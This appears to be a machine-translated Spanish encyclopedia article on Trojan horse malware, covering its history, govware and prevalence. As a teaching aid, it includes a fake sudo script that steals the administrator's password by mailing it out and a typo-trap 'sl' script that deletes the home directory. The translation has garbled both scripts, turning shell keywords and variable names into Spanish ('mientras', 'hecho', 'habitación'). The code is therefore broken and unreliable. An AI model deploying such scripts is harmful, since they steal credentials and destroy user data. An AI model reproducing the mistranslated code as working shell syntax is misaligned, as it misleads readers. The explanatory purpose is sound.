En informática , un caballo de Troya (o simplemente troyano ) es cualquier malware que engaña a los usuarios sobre su verdadera intención disfrazándose de programa estándar. El término se deriva de la antigua historia griega del engañoso Caballo de Troya que provocó la caída de la ciudad de Troya . [1]
Los troyanos generalmente se propagan mediante algún tipo de ingeniería social . Por ejemplo, cuando se engaña a un usuario para que ejecute un archivo adjunto de correo electrónico disfrazado para que parezca inocuo (por ejemplo, un formulario de rutina para completar), o haciendo clic en un anuncio falso en las redes sociales o en cualquier otro lugar. Aunque su carga útil puede ser cualquier cosa, muchas formas modernas actúan como una puerta trasera , contactando a un controlador que luego puede tener acceso no autorizado a la computadora afectada. [2] Los ataques de ransomware a menudo se llevan a cabo utilizando un troyano.
A diferencia de los virus y gusanos informáticos , los troyanos generalmente no intentan insertarse en otros archivos ni propagarse de otro modo. [3]
No está claro dónde o cuándo se utilizó por primera vez el concepto y este término, pero en 1971 el primer manual de Unix asumió que sus lectores conocían ambos: [4]
Otra referencia temprana se encuentra en un informe de la Fuerza Aérea de EE. UU. de 1974 sobre el análisis de la vulnerabilidad en los sistemas informáticos Multics . [5]
Ken Thompson lo hizo popular en su conferencia de aceptación del Premio Turing de 1983 "Reflexiones sobre la confianza", [6] subtitulado: "¿Hasta qué punto uno debería confiar en una afirmación de que un programa está libre de caballos de Troya? Quizás sea más importante Confía en las personas que escribieron el software". Mencionó que conocía la posible existencia de troyanos gracias a un informe sobre la seguridad de Multics. [7] [8]
Una vez instalados, los troyanos pueden realizar una variedad de acciones maliciosas. Muchos tienden a comunicarse con uno o más servidores de Comando y Control (C2) a través de Internet y esperan instrucciones. Dado que los troyanos individuales suelen utilizar un conjunto específico de puertos para esta comunicación, puede resultar relativamente sencillo detectarlos. Además, otro malware podría potencialmente "apoderarse" del troyano, utilizándolo como proxy para acciones maliciosas. [9]
En los países de habla alemana, el software espía utilizado o creado por el gobierno a veces se denomina govware . El govware suele ser un software troyano que se utiliza para interceptar las comunicaciones desde la computadora de destino. Algunos países como Suiza y Alemania tienen un marco legal que regula el uso de dicho software. [10] [11] Ejemplos de troyanos de software gubernamental incluyen el MiniPanzer y MegaPanzer suizos [12] y el "troyano estatal" alemán apodado R2D2 . [10] El govware alemán funciona explotando brechas de seguridad desconocidas para el público en general y accediendo a los datos de los teléfonos inteligentes antes de que se cifren a través de otras aplicaciones. [13]
Debido a la popularidad de las botnets entre los piratas informáticos y la disponibilidad de servicios publicitarios que permiten a los autores violar la privacidad de sus usuarios, los troyanos son cada vez más comunes. Según una encuesta realizada por BitDefender de enero a junio de 2009, "el malware de tipo troyano está aumentando y representa el 83% del malware global detectado en el mundo". Los troyanos tienen una relación con los gusanos, ya que se propagan con la ayuda de los gusanos y viajan con ellos por Internet. [14] BitDefender ha declarado que aproximadamente el 15% de los ordenadores son miembros de una botnet, normalmente reclutada por una infección troyana. [15]
Investigaciones recientes han revelado que el método del caballo de Troya se ha utilizado como ataque a los sistemas de computación en la nube . Un ataque troyano a sistemas en la nube intenta insertar una aplicación o servicio en el sistema que puede afectar los servicios en la nube al cambiar o detener las funcionalidades. Cuando el sistema en la nube identifica los ataques como legítimos, se realiza el servicio o aplicación que puede dañar e infectar el sistema en la nube. [dieciséis]
Un caballo de Troya es un programa que pretende realizar alguna función legítima, pero al ejecutarse compromete la seguridad del usuario. [17] Un ejemplo simple es la siguiente versión maliciosa del comando sudo de Linux . Un atacante colocaría este script en un directorio de escritura pública (por ejemplo, /tmp
). Si un administrador se encuentra en este directorio y ejecuta sudo
, entonces el troyano puede ejecutarse, comprometiendo la contraseña del administrador.
#!/usr/bin/env bash# Desactiva el eco del personaje en la pantalla. sudo hace esto para evitar que la contraseña del usuario aparezca en la pantalla cuando la escribe.
stty -echo# Solicitar al usuario la contraseña y luego leer la entrada. Para disfrazar la naturaleza de esta versión maliciosa, haga esto 3 veces para imitar el comportamiento de sudo cuando un usuario ingresa una contraseña incorrecta. Prompt_count = 1 mientras [ $prompt_count -le 3 ] ; do echo -n "[sudo] contraseña para $( whoami ) : " leer contraseña_input echo sleep 3 # sudo hará una pausa entre indicaciones repetidas request_count = $(( Prompt_count + 1 )) hecho # Vuelve a activar el eco del carácter.
eco insignificante echo $entrada_contraseña | mail -s " contraseña de $( whoami ) " [email protected] # Muestra el mensaje de error real de sudo y luego elimina self. echo "sudo: 3 intentos de contraseña incorrectos"
rm $0 salir 1 # sudo devuelve 1 con un intento fallido de contraseña
Para evitar un sudo
caballo de Troya , configure la .
entrada en la PATH
variable de entorno para que se ubique al final. [18] Por ejemplo: PATH=/usr/local/bin:/usr/bin:.
.
Tener .
algún lugar en la RUTA es conveniente, pero hay un problema. [19] Otro ejemplo es la siguiente versión maliciosa del comando ls de Linux . Sin embargo, el nombre del archivo no es ls
; en cambio, lo es sl
. Un atacante colocaría este script en un directorio de escritura pública (por ejemplo, /tmp
).
#!/usr/bin/env bash# Elimina el directorio de inicio del usuario y luego elimina self.
rm -fr ~ 2 >/dev/nulo habitación $0
Para evitar que un programador malintencionado anticipe este error tipográfico común:
.
en la RUTA oalias sl=ls
[a]El término informático "caballo de Troya" se deriva del legendario caballo de Troya de la antigua ciudad de Troya . Por este motivo, "Trojan" suele escribirse con mayúscula. Sin embargo, aunque las guías de estilo y los diccionarios difieren, muchos sugieren un "troyano" en minúscula para uso normal. [30] [31]
Los soldados griegos, incapaces de penetrar las defensas de la ciudad de Troya durante una guerra que duró años, presentaron a la ciudad una ofrenda de paz consistente en un gran caballo de madera.
Además, no se puede cambiar el propietario de un archivo con el bit de ID de usuario activado, de lo contrario se podrían crear caballos de Troya capaces de hacer un mal uso de los archivos de otros.
El caballo de Troya anterior funciona sólo si la RUTA de un usuario está configurada para buscar comandos en el directorio actual antes de buscar en los directorios del sistema.
[S]i eres un mecanógrafo torpe y algún día escribes "sl -l" en lugar de "ls -l", corres el riesgo de ejecutar "./sl", si lo hay. Algún programador "inteligente" podría anticipar errores tipográficos comunes y dejar programas con esos nombres dispersos en directorios públicos. Tener cuidado.
{{cite web}}
: CS1 maint: unfit URL (link)alias
declaración en /etc/profile